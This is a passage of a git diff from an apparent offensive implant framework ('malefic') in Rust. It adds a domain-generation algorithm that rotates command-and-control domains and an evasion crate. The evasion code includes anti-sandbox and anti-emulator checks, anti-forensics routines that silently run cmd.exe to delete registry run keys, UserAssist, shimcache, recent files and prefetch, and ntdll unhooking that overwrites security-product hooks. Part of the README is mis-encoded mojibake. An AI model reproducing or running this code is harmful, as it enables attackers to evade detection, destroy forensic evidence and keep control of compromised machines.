æ•ˆæ—¶é—´çª—å£ã€ç”Ÿæˆå¤±è´¥ï¼‰ | + +## 算法æµç¨‹ + +1. 获å–å½“å‰ UTC 时间,按é…ç½®çš„é—´éš”å°æ—¶æ•°è®¡ç®—æ—¶é—´çª—å£ +2. 拼接ç§å­å­—符串:`{å¹´}{月}{æ—¥}{å°æ—¶æ®µ}{密钥}` +3. 对ç§å­åš SHA-256 哈希,å–å‰ 8 字节映射到 `a-z`,得到域åå‰ç¼€ +4. å°†å‰ç¼€ä¸Žæ¯ä¸ªåŸŸååŽç¼€æ‹¼æŽ¥ï¼Œç”Ÿæˆå®Œæ•´åŸŸå列表 +5. 基于模æ¿é…置,更新地å€ã€TLS SNI å’Œ HTTP Host 头 + +## 基本用法 + +```rust +use malefic_dga::{DgaAlgorithm, TimeWindow}; + +// 直接使用算法层 +let algorithm = DgaAlgorithm::new( + "my_secret_key".to_string(), + 12, // æ¯ 12 å°æ—¶åˆ‡æ¢ä¸€æ¬¡åŸŸå + vec!["example.com".to_string(), "example.org".to_string()], +); + +let domains = algorithm.generate(); +for d in &domains { + println!("{}", d.domain); // e.g. "abcdefgh.example.com" +} +``` + +```rust +use malefic_dga::DgaGenerator; + +// 从æœåŠ¡ç«¯é…置模æ¿ç”Ÿæˆ +let generator = DgaGenerator::from_server_configs(server_configs)?; +let new_configs = generator.generate_new_server(); +``` + +```rust +use malefic_dga::TimeWindow; + +// 获å–当å‰å’Œå‰ä¸€ä¸ªæ—¶é—´çª—å£ +let current = TimeWindow::current(6); +let previous = current.previous(6); +println!("当å‰ç§å­: {}", current.to_seed_string()); +println!("上一窗å£ç§å­: {}", previous.to_seed_string()); +``` + +## å‚考链接 + +- [Domain Generation Algorithm - Wikipedia](https://en.wikipedia.org/wiki/Domain_generation_algorithm) +- [SHA-2 (sha2 crate)](https://docs.rs/sha2) +- [chrono - 日期时间库](https://docs.rs/chrono) diff --git a/malefic-core/src/dga/algorithm.rs b/malefic-crates/dga/src/algorithm.rs similarity index 77% rename from malefic-core/src/dga/algorithm.rs rename to malefic-crates/dga/src/algorithm.rs index 77ae176..4531df8 100644 --- a/malefic-core/src/dga/algorithm.rs +++ b/malefic-crates/dga/src/algorithm.rs @@ -1,8 +1,9 @@ -use super::{TimeWindow, DgaDomain}; -use sha2::{Sha256, Digest}; -use malefic_helper::debug; -/// DGA算法实现 -#[derive(Debug)] +use super::{DgaDomain, TimeWindow}; +use malefic_common::debug; +use malefic_gateway::ObfDebug; +use sha2::{Digest, Sha256}; + +#[derive(ObfDebug)] pub struct DgaAlgorithm { key: String, interval_hours: u32, @@ -26,7 +27,6 @@ impl DgaAlgorithm { let mut prefix = String::new(); let alphabet = b"abcdefghijklmnopqrstuvwxyz"; - // 使用hashçš„å‰8个字节生æˆ8ä½å­—æ¯å‰ç¼€ for i in 0..8.min(hash.len()) { let index = (hash[i] as usize) % alphabet.len(); prefix.push(alphabet[index] as char); @@ -34,8 +34,7 @@ impl DgaAlgorithm { prefix } - - /// 为指定时间窗å£ç”Ÿæˆæ‰€æœ‰å¯èƒ½çš„域å + pub fn generate(&self) -> Vec { let current_window = TimeWindow::current(self.interval_hours); let seed = format!("{}{}", current_window.to_seed_string(), self.key); @@ -44,7 +43,6 @@ impl DgaAlgorithm { let prefix = self.encode(seed.clone()); let mut domains = Vec::new(); - for suffix in &self.domains { let domain = format!("{}.{}", prefix, suffix); domains.push(DgaDomain { @@ -55,9 +53,11 @@ impl DgaAlgorithm { }); } - debug!("[dga] Generated {} domains for current time window: {}", - domains.len(), current_window.to_seed_string()); + debug!( + "[dga] Generated {} domains for current time window: {}", + domains.len(), + current_window.to_seed_string() + ); domains } - -} \ No newline at end of file +} diff --git a/malefic-crates/dga/src/generator.rs b/malefic-crates/dga/src/generator.rs new file mode 100644 index 0000000..59b8a5d --- /dev/null +++ b/malefic-crates/dga/src/generator.rs @@ -0,0 +1,112 @@ +use super::{DgaAlgorithm, DgaDomain, DgaError}; +use malefic_common::debug; +use malefic_config::ServerConfig; +use malefic_gateway::ObfDebug; + +#[derive(ObfDebug)] +pub struct DgaGenerator { + algorithm: DgaAlgorithm, + template_configs: Vec, +} + +impl DgaGenerator { + pub fn from_server_configs(server_configs: Vec) -> Result { + if server_configs.is_empty() { + return Err(DgaError::NoDomains); + } + + let dga_key = malefic_config::DGA_KEY.clone(); + let interval_hours = malefic_config::DGA_INTERVAL_HOURS.clone(); + + let domains: Vec = server_configs + .iter() + .filter_map(|config| config.get_domain_suffix().map(|s| s.clone())) + .collect(); + + if domains.is_empty() { + return Err(DgaError::NoDomains); + } + + debug!( + "[dga] Using domain suffixes from server configs: {:?}", + domains + ); + + let algorithm = DgaAlgorithm::new(dga_key, interval_hours, domains); + + Ok(Self { + algorithm, + template_configs: server_configs, + }) + } + + pub fn generate_new_server(&self) -> Vec { + let dgas = self.algorithm.generate(); + let mut server_configs = Vec::new(); + for dga in dgas { + let template = self.find_template_for_domain(&dga.suffix).unwrap(); + let config = self.create_server_config(&dga, template); + server_configs.push(config); + } + server_configs + } + + fn find_template_for_domain(&self, suffix: &str) -> Option<&ServerConfig> { + self.template_configs.iter().find(|config| { + config + .get_domain_suffix() + .map(|s| s == suffix) + .unwrap_or(false) + }) + } + + fn create_server_config(&self, domain: &DgaDomain, template: &ServerConfig) -> ServerConfig { + let mut config = template.clone(); + + let port = if let Some(colon_pos) = template.address.rfind(':') { + &template.address[colon_pos..] + } else { + ":443" + }; + + config.address = format!("{}{}", domain.domain, port); + + if let Some(ref mut tls_config) = config.tls_config { + let should_update_sni = tls_config.sni.is_empty() + || tls_config.sni == domain.suffix + || tls_config.sni == template.address.split(':').next().unwrap_or(""); + + if should_update_sni { + tls_config.sni = domain.domain.clone(); + debug!( + "[dga] Updated SNI: {} -> {}", + template.address, tls_config.sni + ); + } else { + debug!("[dga] Keeping custom SNI: {}", tls_config.sni); + } + } + + if let malefic_config::TransportConfig::Http(ref mut http_config) = config.transport_config + { + http_config + .headers + .insert("Host".to_string(), domain.domain.clone()); + debug!("[dga] Updated HTTP Host header: {}", domain.domain); + } + + debug!( + "[dga] Created config: {} -> {} (SNI: {}, time window: {})", + template.address, + config.address, + config + .tls_config + .as_ref() + .map(|t| &t.sni) + .unwrap_or(&"none".to_string()), + domain.seed + ); + + config + } +} diff --git a/malefic-core/src/dga/mod.rs b/malefic-crates/dga/src/lib.rs similarity index 64% rename from malefic-core/src/dga/mod.rs rename to malefic-crates/dga/src/lib.rs index 348cef1..27fd258 100644 --- a/malefic-core/src/dga/mod.rs +++ b/malefic-crates/dga/src/lib.rs @@ -6,11 +6,12 @@ pub use generator::DgaGenerator; use std::time::{SystemTime, UNIX_EPOCH}; -use chrono::{DateTime, Utc, Timelike, Datelike}; use chrono::TimeZone; +use chrono::{DateTime, Datelike, Timelike, Utc}; +use malefic_gateway::ObfDebug; -/// DGA时间窗å£ç»“æž„ -#[derive(Debug, Clone, PartialEq)] +/// DGA time window structure +#[derive(ObfDebug, Clone, PartialEq)] pub struct TimeWindow { pub year: i32, pub month: u32, @@ -19,14 +20,12 @@ pub struct TimeWindow { } impl TimeWindow { - /// æ ¹æ®å½“剿—¶é—´å’Œé—´éš”å°æ—¶æ•°åˆ›å»ºæ—¶é—´çª—å£ + /// Create time window based on current time and interval hours pub fn from_timestamp(timestamp: u64, interval_hours: u32) -> Self { - // 使用 chrono 0.4 çš„API - let dt = DateTime::from_timestamp(timestamp as i64, 0) - .unwrap_or_else(|| Utc::now()); - + let dt = DateTime::from_timestamp(timestamp as i64, 0).unwrap_or_else(|| Utc::now()); + let hour_segment = dt.hour() / interval_hours; - + Self { year: dt.year(), month: dt.month(), @@ -34,8 +33,8 @@ impl TimeWindow { hour_segment, } } - - /// 获å–当剿—¶é—´çª—å£ + + /// Get current time window pub fn current(interval_hours: u32) -> Self { let now = SystemTime::now() .duration_since(UNIX_EPOCH) @@ -43,43 +42,40 @@ impl TimeWindow { .as_secs(); Self::from_timestamp(now, interval_hours) } - - /// 获å–å‰ä¸€ä¸ªæ—¶é—´çª—å£ + + /// Get previous time window pub fn previous(&self, interval_hours: u32) -> Self { let current_timestamp = self.to_timestamp(); let previous_timestamp = current_timestamp.saturating_sub((interval_hours * 3600) as u64); Self::from_timestamp(previous_timestamp, interval_hours) } - - /// 转æ¢ä¸ºæ—¶é—´æˆ³ï¼ˆç”¨äºŽè®¡ç®—) + + /// Convert to timestamp (for calculation) fn to_timestamp(&self) -> u64 { - // 使用 chrono 0.4 çš„API创建时间 - if let Some(dt) = Utc.with_ymd_and_hms( - self.year, - self.month, - self.day, - self.hour_segment * 2, // å‡è®¾interval_hours=2 - 0, - 0 - ).single() { + if let Some(dt) = Utc + .with_ymd_and_hms(self.year, self.month, self.day, self.hour_segment * 2, 0, 0) + .single() + { dt.timestamp() as u64 } else { - // å¦‚æžœæ—¶é—´æ— æ•ˆï¼Œè¿”å›žå½“å‰æ—¶é—´æˆ³ SystemTime::now() .duration_since(UNIX_EPOCH) .unwrap_or_default() .as_secs() } } - - /// ç”Ÿæˆæ—¶é—´çª—å£çš„ç§å­å­—符串 + + /// Generate seed string for time window pub fn to_seed_string(&self) -> String { - format!("{:04}{:02}{:02}{:02}", self.year, self.month, self.day, self.hour_segment) + format!( + "{:04}{:02}{:02}{:02}", + self.year, self.month, self.day, self.hour_segment + ) } } -/// DGA域å -#[derive(Debug, Clone)] +/// DGA domain +#[derive(ObfDebug, Clone)] pub struct DgaDomain { pub domain: String, pub seed: String, @@ -87,7 +83,7 @@ pub struct DgaDomain { pub suffix: String, } -/// DGA错误类型 +/// DGA error type #[derive(Debug, thiserror::Error)] pub enum DgaError { #[error("DGA is disabled")] diff --git a/malefic-crates/evader/Cargo.toml b/malefic-crates/evader/Cargo.toml new file mode 100644 index 0000000..e15c6c4 --- /dev/null +++ b/malefic-crates/evader/Cargo.toml @@ -0,0 +1,42 @@ +[package] +name = "malefic-evader" +version = "0.1.0" +edition = "2021" + +[features] +default = [] +debug = [] + +# Evader modules (from starship) +evader_anti_emu = [] +evader_etw_pass = [] +evader_god_speed = [] +evader_sleep_encrypt = [] +evader_anti_forensic = [] +evader_cfg_patch = [] +evader_api_untangle = [] +evader_normal_api = [] +evader_full = [ + "evader_anti_emu", + "evader_etw_pass", + "evader_god_speed", + "evader_sleep_encrypt", + "evader_anti_forensic", + "evader_cfg_patch", + "evader_api_untangle", + "evader_normal_api", +] + +# Anti-analysis modules (from win/anti) +anti_sandbox = ["malefic-os-win/reg"] +anti_vm = [] + +# Obfuscation (community: no-op) +obf_strings = [] +obf_junk = [] + +[dependencies] +malefic-os-win = { workspace = true, default-features = false } +malefic-gateway = { workspace = true } +malefic-process = { workspace = true } +malefic-common = { workspace = true, default-features = false } diff --git a/malefic-crates/evader/src/anti_emu.rs b/malefic-crates/evader/src/anti_emu.rs new file mode 100644 index 0000000..7f82982 --- /dev/null +++ b/malefic-crates/evader/src/anti_emu.rs @@ -0,0 +1,292 @@ +//! Anti-sandbox / anti-emulator checks (BOAZ anti_emu port). +//! +//! Returns `true` when the environment looks like a real machine, +//! `false` when it looks like a sandbox or emulator. + +use core::ffi::c_void; +use core::mem::{size_of, zeroed}; +use core::ptr::null_mut; + +use crate::types::{MEM_COMMIT, MEM_RESERVE, PAGE_NOACCESS, PAGE_READWRITE, TH32CS_SNAPPROCESS}; +use malefic_os_win::kit::binding::{ + MCreateToolhelp32Snapshot, MGetCurrentProcessId, MGetProcAddress, MLoadLibraryA, + MProcess32First, MProcess32Next, MVirtualAlloc, MVirtualAllocExNuma, +}; + +/// Maximum path length for process names +const MAX_PATH: usize = 260; + +/// PROCESSENTRY32 — mirrors Types.rs PROCESSENTRY32 for local use. +#[repr(C)] +struct ProcessEntry32 { + dw_size: u32, + cnt_usage: u32, + th32_process_id: u32, + th32_default_heap_id: usize, + th32_module_id: u32, + cnt_threads: u32, + th32_parent_process_id: u32, + pc_pri_class_base: i32, + dw_flags: u32, + sz_exe_file: [u8; MAX_PATH], +} + +impl ProcessEntry32 { + fn zeroed() -> Self { + let mut e: Self = unsafe { zeroed() }; + e.dw_size = size_of::() as u32; + e + } + fn name_bytes(&self) -> &[u8] { + let end = self + .sz_exe_file + .iter() + .position(|&b| b == 0) + .unwrap_or(MAX_PATH); + &self.sz_exe_file[..end] + } +} + +// ─── Individual checks ─────────────────────────────────────────────────────── + +/// fs1: write a known pattern to a temp file and read it back. +fn fs1() -> bool { + let tmp = std::env::temp_dir().join("~tmpchk.dat"); + let pattern = obf_cstr!(b"REALENV_CHECK_2025"); + if std::fs::write(&tmp, &pattern).is_err() { + return false; + } + let result = std::fs::read(&tmp).unwrap_or_default(); + let _ = std::fs::remove_file(&tmp); + result == pattern +} + +/// fs2: a real DLL (ntdll) must load; a fake one must fail. +fn fs2() -> bool { + let real = obf_cstr!(b"ntdll.dll\0"); + let fake = obf_cstr!(b"__nonexistent_totally_fake__.dll\0"); + unsafe { + let h_real = MLoadLibraryA(real.as_ptr()); + let h_fake = MLoadLibraryA(fake.as_ptr()); + !h_real.is_null() && h_fake.is_null() + } +} + +/// time2: Sleep(300ms) should advance GetTickCount by ≥ 250ms. +fn time2() -> bool { + use std::time::Instant; + let t0 = Instant::now(); + std::thread::sleep(std::time::Duration::from_millis(300)); + t0.elapsed().as_millis() >= 250 +} + +/// time3: a thread that loops for a set count; compare wall-clock vs count. +fn time3() -> bool { + use std::sync::atomic::{AtomicU64, Ordering}; + use std::sync::Arc; + let counter = Arc::new(AtomicU64::new(0)); + let counter2 = counter.clone(); + let t0 = std::time::Instant::now(); + let h = std::thread::spawn(move || { + for _ in 0..5_000_000u64 { + counter2.fetch_add(1, Ordering::Relaxed); + } + }); + let _ = h.join(); + let elapsed = t0.elapsed().as_millis(); + // In a real machine, 5M iterations should be nearly instantaneous (< 500ms). + // Sandboxes often slow-path threads → much longer. + counter.load(Ordering::Relaxed) == 5_000_000 && elapsed < 2000 +} + +/// instrumentation9: parent process should be explorer, cmd, or powershell. +fn instrumentation9() -> bool { + unsafe { + let snapshot = MCreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if snapshot.is_null() || snapshot == -1isize as *mut c_void { + return false; + } + let my_pid = MGetCurrentProcessId(); + let mut entry = ProcessEntry32::zeroed(); + let mut parent_pid: u32 = 0; + + // Find our own parent PID + if MProcess32First(snapshot, &mut entry as *mut _ as *mut c_void) { + loop { + if entry.th32_process_id == my_pid { + parent_pid = entry.th32_parent_process_id; + break; + } + if !MProcess32Next(snapshot, &mut entry as *mut _ as *mut c_void) { + break; + } + entry = ProcessEntry32::zeroed(); + } + } + + // Find parent process name + let mut found = false; + if parent_pid != 0 { + let mut e2 = ProcessEntry32::zeroed(); + if MProcess32First(snapshot, &mut e2 as *mut _ as *mut c_void) { + loop { + if e2.th32_process_id == parent_pid { + let name = e2.name_bytes().to_ascii_lowercase(); + let explorer_name = obf_cstr!(b"explorer"); + let cmd_name = obf_cstr!(b"cmd.exe"); + let ps_name = obf_cstr!(b"powershell"); + found = name.windows(8).any(|w| w == explorer_name.as_slice()) + || name.windows(7).any(|w| w == cmd_name.as_slice()) + || name.windows(11).any(|w| w == ps_name.as_slice()); + break; + } + if !MProcess32Next(snapshot, &mut e2 as *mut _ as *mut c_void) { + break; + } + e2 = ProcessEntry32::zeroed(); + } + } + } + malefic_os_win::kit::binding::MCloseHandle(snapshot); + parent_pid != 0 && found + } +} + +/// network445: attempt a TCP connection to localhost:445. +fn network445() -> bool { + use std::net::TcpStream; + use std::time::Duration; + let addr = obf_cstr!(b"127.0.0.1:445\0"); + let addr_str = std::str::from_utf8(&addr[..addr.len() - 1]).unwrap(); + TcpStream::connect_timeout(&addr_str.parse().unwrap(), Duration::from_millis(500)).is_ok() +} + +/// numa_func: VirtualAllocExNuma should succeed on real NUMA systems; +/// sandboxes often return NULL. +fn numa_func() -> bool { + unsafe { + use malefic_os_win::kit::binding::MGetCurrentProcess; + let h = MGetCurrentProcess(); + let p = MVirtualAllocExNuma( + h, + null_mut(), + 1024, + MEM_COMMIT | MEM_RESERVE, + PAGE_READWRITE, + 0, + ); + !p.is_null() + } +} + +/// god_father: allocate 1 GiB; real systems have the address space. +fn god_father() -> bool { + unsafe { + let p = MVirtualAlloc(null_mut(), 1 << 30, MEM_RESERVE, PAGE_NOACCESS); + !p.is_null() + } +} + +/// god_mother: count loop iterations in 100ms — real CPUs are much faster. +fn god_mother() -> bool { + use std::time::Instant; + let t0 = Instant::now(); + let mut count: u64 = 0; + while t0.elapsed().as_millis() < 100 { + count += 1; + } + // A real machine should exceed ~10M in 100ms. + count > 10_000_000 +} + +/// instrumentation1: count loaded modules via toolhelp snapshot — +/// a real process has many; sandboxes are typically sparse. +fn instrumentation1() -> bool { + const TH32CS_SNAPMODULE: u32 = 0x00000008; + // MODULEENTRY32 on x64 is 568 bytes (verified via Marshal::SizeOf) + #[repr(C)] + struct ModEntry { + dw_size: u32, + rest: [u8; 564], + } + unsafe { + let snap = MCreateToolhelp32Snapshot(TH32CS_SNAPMODULE, MGetCurrentProcessId()); + if snap.is_null() || snap == -1isize as *mut c_void { + return false; + } + let mut me: ModEntry = zeroed(); + me.dw_size = core::mem::size_of::() as u32; + + type SnapIterFn = unsafe extern "system" fn(*mut c_void, *mut c_void) -> i32; + let _obf_kernel32_dll = obf_cstr!(b"kernel32.dll\0"); + let lib = MLoadLibraryA(_obf_kernel32_dll.as_ptr()); + if lib.is_null() { + malefic_os_win::kit::binding::MCloseHandle(snap); + return false; + } + let _obf_module32first = obf_cstr!(b"Module32First\0"); + let m32first = MGetProcAddress(lib as *const c_void, _obf_module32first.as_ptr()); + let _obf_module32next = obf_cstr!(b"Module32Next\0"); + let m32next = MGetProcAddress(lib as *const c_void, _obf_module32next.as_ptr()); + if m32first.is_null() || m32next.is_null() { + malefic_os_win::kit::binding::MCloseHandle(snap); + return false; + } + let first_fn: SnapIterFn = core::mem::transmute(m32first); + let next_fn: SnapIterFn = core::mem::transmute(m32next); + + let mut count = 0usize; + if first_fn(snap, &mut me as *mut _ as *mut c_void) != 0 { + count += 1; + loop { + me.dw_size = core::mem::size_of::() as u32; + if next_fn(snap, &mut me as *mut _ as *mut c_void) == 0 { + break; + } + count += 1; + } + } + malefic_os_win::kit::binding::MCloseHandle(snap); + count > 5 + } +} + +// ─── Aggregate ─────────────────────────────────────────────────────────────── + +/// Run all checks; return `true` when the environment appears genuine. +/// +/// The scoring strategy matches the original BOAZ implementation: +/// at least 6 of the 9 checks must pass. +pub fn execute_all_checks() -> bool { + let checks: &[(&str, fn() -> bool)] = &[ + ("fs1", fs1), + ("fs2", fs2), + ("time2", time2), + ("time3", time3), + ("instrumentation9", instrumentation9), + ("network445", network445), + ("numa_func", numa_func), + ("god_father", god_father), + ("god_mother", god_mother), + ("instrumentation1", instrumentation1), + ]; + + let mut passed = 0usize; + for (name, check) in checks { + let result = check(); + debug_println!( + "[anti_emu] {:20} => {}", + name, + if result { "PASS" } else { "FAIL" } + ); + if result { + passed += 1; + } + } + debug_println!( + "[anti_emu] Result: {}/{} passed (threshold: 6)", + passed, + checks.len() + ); + passed >= 6 +} diff --git a/malefic-crates/evader/src/anti_forensic.rs b/malefic-crates/evader/src/anti_forensic.rs new file mode 100644 index 0000000..8381362 --- /dev/null +++ b/malefic-crates/evader/src/anti_forensic.rs @@ -0,0 +1,93 @@ +//! Anti-forensics: clear registry artefacts and prefetch files (BOAZ anti_forensic port). + +use core::ffi::c_void; +use core::mem::zeroed; +use core::ptr::null_mut; + +use crate::types::{CREATE_NO_WINDOW, INFINITE, PROCESS_INFORMATION, STARTUPINFOA}; +use malefic_os_win::kit::binding::{MCloseHandle, MCreateProcessA, MWaitForSingleObject}; + +// ─── Internal helper ────────────────────────────────────────────────────────── + +/// Run a command string silently and wait for it to finish. +fn run_cmd(cmd: &str) { + unsafe { + let mut si: STARTUPINFOA = zeroed(); + si.cb = core::mem::size_of::() as u32; + // Hide window + si.dwFlags = 0x00000001; // STARTF_USESHOWWINDOW + si.wShowWindow = 0; // SW_HIDE + let mut pi: PROCESS_INFORMATION = zeroed(); + + // Build: cmd.exe /C + let full: Vec = b"cmd.exe /C " + .iter() + .chain(cmd.as_bytes()) + .cloned() + .chain(core::iter::once(0)) + .collect(); + + let ok = MCreateProcessA( + null_mut(), + full.as_ptr() as *mut i8, + null_mut(), + null_mut(), + 0, + CREATE_NO_WINDOW, + null_mut(), + null_mut(), + &mut si as *mut STARTUPINFOA as *mut c_void, + &mut pi as *mut PROCESS_INFORMATION as *mut c_void, + ); + if ok { + MWaitForSingleObject(pi.hProcess, INFINITE); + MCloseHandle(pi.hProcess); + MCloseHandle(pi.hThread); + } + } +} + +// ─── Prefetch cleanup ───────────────────────────────────────────────────────── + +/// Delete `.pf` prefetch files created after the process started. +/// Uses `forfiles` to target only recently created entries. +fn delete_recent_prefetch() { + run_cmd(r#"forfiles /p C:\Windows\Prefetch /m *.pf /d +0 /c "cmd /c del /f /q @path""#); +} + +// ─── Registry cleanup ───────────────────────────────────────────────────────── + +/// Clear common forensic artefacts from the registry. +pub fn anti_forensic() { + // Run/MRU history + run_cmd(r#"reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v * /f 2>nul"#); + run_cmd( + r#"reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU" /f 2>nul"#, + ); + + // Typed paths (Win + R history) + run_cmd( + r#"reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\TypedPaths" /f 2>nul"#, + ); + + // UserAssist (GUI program launch history) + run_cmd( + r#"reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist" /f 2>nul"#, + ); + + // Recent docs / jumplists + run_cmd(r#"del /f /q "%APPDATA%\Microsoft\Windows\Recent\*" 2>nul"#); + run_cmd(r#"del /f /q /s "%APPDATA%\Microsoft\Windows\Recent\AutomaticDestinations\*" 2>nul"#); + run_cmd(r#"del /f /q /s "%APPDATA%\Microsoft\Windows\Recent\CustomDestinations\*" 2>nul"#); + + // Console command history + run_cmd(r#"reg delete "HKCU\Console" /v HistoryBufferSize /f 2>nul"#); + + // AppCompatCache (shimcache) — requires admin but attempt anyway + run_cmd( + r#"reg delete "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache" /v AppCompatCache /f 2>nul"#, + ); + + // Prefetch files + delete_recent_prefetch(); +} diff --git a/malefic-crates/evader/src/api_untangle.rs b/malefic-crates/evader/src/api_untangle.rs new file mode 100644 index 0000000..387b5ef --- /dev/null +++ b/malefic-crates/evader/src/api_untangle.rs @@ -0,0 +1,412 @@ +//! API unhooking by reading clean function bytes from the on-disk ntdll +//! (BOAZ api_untangle port). +//! +//! For each target function (default: `NtCreateThreadEx`, +//! `NtAllocateVirtualMemory`, `NtWriteVirtualMemory`, +//! `NtProtectVirtualMemory`), the first 8 bytes are read from the mapped +//! disk image and written over the in-memory (potentially hooked) copy. + +use core::ffi::c_void; + +use crate::types::PAGE_EXECUTE_READWRITE; +use malefic_os_win::kit::binding::{ + MGetCurrentProcess, MGetProcAddress, MLoadLibraryA, MNtFlushInstructionCache, MVirtualProtect, +}; + +/// Number of bytes to restore at the start of each function (enough to cover +/// a typical 5-byte JMP hook or 8-byte syscall stub). +const PATCH_SIZE: usize = 8; + +/// Path to the on-disk copy of ntdll (always present on Windows). +#[cfg(not(feature = "obf_strings"))] +const NTDLL_DISK_PATH: &str = r"C:\Windows\System32\ntdll.dll"; + +#[cfg(feature = "obf_strings")] +fn ntdll_disk_path() -> String { + let p = obf_cstr!(b"C:\\Windows\\System32\\ntdll.dll\0"); + String::from_utf8_lossy(&p[..p.len() - 1]).into_owned() +} + +/// Functions to unhook by default. +const DEFAULT_TARGETS: &[&str] = &[ + "NtCreateThreadEx", + "NtAllocateVirtualMemory", + "NtWriteVirtualMemory", + "NtProtectVirtualMemory", +]; + +// ─── PE helpers ─────────────────────────────────────────────────────────────── + +/// Find a function's raw file offset in a PE image loaded into `bytes`. +fn rva_to_raw(bytes: &[u8], rva: u32) -> Option { + let e_lfanew = u32::from_le_bytes(bytes[0x3C..0x40].try_into().ok()?) as usize; + let nt = e_lfanew; + let num_sec = u16::from_le_bytes(bytes[nt + 6..nt + 8].try_into().ok()?) as usize; + let opt_size = u16::from_le_bytes(bytes[nt + 20..nt + 22].try_into().ok()?) as usize; + let sec_off = nt + 24 + opt_size; + + for i in 0..num_sec { + let s = sec_off + i * 40; + let virt_addr = u32::from_le_bytes(bytes[s + 12..s + 16].try_into().ok()?); + let virt_size = u32::from_le_bytes(bytes[s + 16..s + 20].try_into().ok()?); + let raw_off = u32::from_le_bytes(bytes[s + 20..s + 24].try_into().ok()?) as usize; + + if rva >= virt_addr && rva < virt_addr + virt_size { + return Some(raw_off + (rva - virt_addr) as usize); + } + } + None +} + +/// Resolve `func_name` to its RVA using the export directory in `bytes`. +fn find_export_rva(bytes: &[u8], func_name: &str) -> Option { + let e_lfanew = u32::from_le_bytes(bytes[0x3C..0x40].try_into().ok()?) as usize; + let nt = e_lfanew; + // DataDirectory[0] (exports) at opt_hdr + 0x70 (PE32+) or + 0x60 (PE32) + // Magic at nt + 24 + let magic = u16::from_le_bytes(bytes[nt + 24..nt + 26].try_into().ok()?); + let exp_rva_off = if magic == 0x20B { + nt + 24 + 0x70 + } else { + nt + 24 + 0x60 + }; + let exp_rva = u32::from_le_bytes(bytes[exp_rva_off..exp_rva_off + 4].try_into().ok()?); + if exp_rva == 0 { + return None; + } + let exp_raw = rva_to_raw(bytes, exp_rva)? as usize; + + let num_names = u32::from_le_bytes(bytes[exp_raw + 24..exp_raw + 28].try_into().ok()?) as usize; + let addr_table_rva = + u32::from_le_bytes(bytes[exp_raw + 28..exp_raw + 32].try_into().ok()?) as usize; + let name_table_rva = + u32::from_le_bytes(bytes[exp_raw + 32..exp_raw + 36].try_into().ok()?) as usize; + let ord_table_rva = + u32::from_le_bytes(bytes[exp_raw + 36..exp_raw + 40].try_into().ok()?) as usize; + + let addr_raw = rva_to_raw(bytes, addr_table_rva as u32)? as usize; + let name_raw = rva_to_raw(bytes, name_table_rva as u32)? as usize; + let ord_raw = rva_to_raw(bytes, ord_table_rva as u32)? as usize; + + for i in 0..num_names { + let name_rva = u32::from_le_bytes( + bytes[name_raw + i * 4..name_raw + i * 4 + 4] + .try_into() + .ok()?, + ) as usize; + let name_off = rva_to_raw(bytes, name_rva as u32)? as usize; + let end = bytes[name_off..].iter().position(|&b| b == 0).unwrap_or(0); + let name_str = core::str::from_utf8(&bytes[name_off..name_off + end]).ok()?; + + if name_str == func_name { + let ord = u16::from_le_bytes( + bytes[ord_raw + i * 2..ord_raw + i * 2 + 2] + .try_into() + .ok()?, + ) as usize; + let fn_rva = u32::from_le_bytes( + bytes[addr_raw + ord * 4..addr_raw + ord * 4 + 4] + .try_into() + .ok()?, + ); + return Some(fn_rva); + } + } + None +} + +// ─── Main routine ───────────────────────────────────────────────────────────── + +/// Restore the first `PATCH_SIZE` bytes of each function in `targets` +/// using the clean on-disk ntdll image. +pub fn execute_modifications_for(targets: &[&str]) { + #[cfg(feature = "obf_strings")] + let disk_path = ntdll_disk_path(); + #[cfg(not(feature = "obf_strings"))] + let disk_path = NTDLL_DISK_PATH.to_string(); + + let disk_bytes = match std::fs::read(&disk_path) { + Ok(b) => b, + Err(_) => return, + }; + + unsafe { + let ntdll_mem = { + let _obf_ntdll_dll = obf_cstr!(b"ntdll.dll\0"); + let h = MLoadLibraryA(_obf_ntdll_dll.as_ptr()); + if h.is_null() { + return; + } + h as *mut u8 + }; + + for &func_name in targets { + // Get in-memory address via GetProcAddress + let mem_addr = MGetProcAddress( + ntdll_mem as *const c_void, + func_name + .as_bytes() + .iter() + .chain(core::iter::once(&0u8)) + .cloned() + .collect::>() + .as_ptr(), + ); + if mem_addr.is_null() { + continue; + } + + // Find the same function's bytes in the disk image + let fn_rva = match find_export_rva(&disk_bytes, func_name) { + Some(r) => r, + None => continue, + }; + let fn_raw = match rva_to_raw(&disk_bytes, fn_rva) { + Some(r) => r, + None => continue, + }; + if fn_raw + PATCH_SIZE > disk_bytes.len() { + continue; + } + let clean_bytes = &disk_bytes[fn_raw..fn_raw + PATCH_SIZE]; + + // Overwrite in-memory bytes + let target = mem_addr as *mut u8; + let mut old_prot: u32 = 0; + if MVirtualProtect( + target as *mut c_void, + PATCH_SIZE, + PAGE_EXECUTE_READWRITE, + &mut old_prot, + ) { + core::ptr::copy_nonoverlapping(clean_bytes.as_ptr(), target, PATCH_SIZE); + MVirtualProtect(target as *mut c_void, PATCH_SIZE, old_prot, &mut old_prot); + MNtFlushInstructionCache(MGetCurrentProcess(), target as *mut c_void, PATCH_SIZE); + } + } + } +} + +/// Restore the default set of monitored NT functions. +pub fn execute_modifications() { + execute_modifications_for(DEFAULT_TARGETS); +} + +#[cfg(test)] +mod tests { + use super::*; + + /// Build a minimal synthetic PE64 file with one .text section. + /// Returns (pe_bytes, text_rva, text_raw_offset). + fn build_minimal_pe64(text_vaddr: u32, text_vsize: u32, text_raw: u32) -> Vec { + let e_lfanew: u32 = 0x40; + let opt_hdr_size: u16 = 0xF0; // standard PE32+ optional header size + let num_sections: u16 = 1; + // Section table starts at e_lfanew + 4(sig) + 20(COFF) + opt_hdr_size + let sec_table_off = e_lfanew as usize + 4 + 20 + opt_hdr_size as usize; + // PE file needs to be large enough for section table + section content + let file_size = std::cmp::max( + sec_table_off + 40 + 64, + text_raw as usize + text_vsize as usize, + ); + let mut pe = vec![0u8; file_size]; + + // DOS header + pe[0] = b'M'; + pe[1] = b'Z'; + pe[0x3C..0x40].copy_from_slice(&e_lfanew.to_le_bytes()); + + // PE signature + let nt = e_lfanew as usize; + 